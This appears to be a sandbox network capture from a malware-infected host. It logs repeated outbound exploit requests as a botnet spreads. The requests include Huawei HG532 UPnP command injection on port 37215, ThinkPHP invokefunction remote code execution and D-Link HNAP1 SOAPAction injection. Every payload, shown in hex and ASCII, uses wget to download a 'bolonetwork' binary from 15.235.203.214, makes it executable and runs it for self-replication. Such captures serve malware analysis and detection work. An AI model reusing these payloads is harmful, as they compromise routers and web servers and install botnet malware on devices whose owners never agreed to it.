2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	60150	157.12.120.37	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222279072 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	34110	41.81.198.30	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222279072 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	58602	157.10.69.196	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222279072 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	49446	199.229.94.109	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.222522974 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	36772	182.102.31.222	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.223015070 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	41330	197.148.93.189	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.223886967 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	51376	41.76.204.184	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.223886967 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	55928	41.25.193.130	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.223886967 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	41508	95.59.86.189	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.707978010 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	45498	95.189.55.135	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.721821070 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	33244	95.214.141.146	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.731194973 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	34154	95.185.71.137	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.739445925 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	51312	95.196.201.154	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.748990059 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	43120	95.65.53.181	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.759475946 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	34716	95.247.205.18	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.767030954 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	45724	165.83.86.189	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:58.797832012 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping 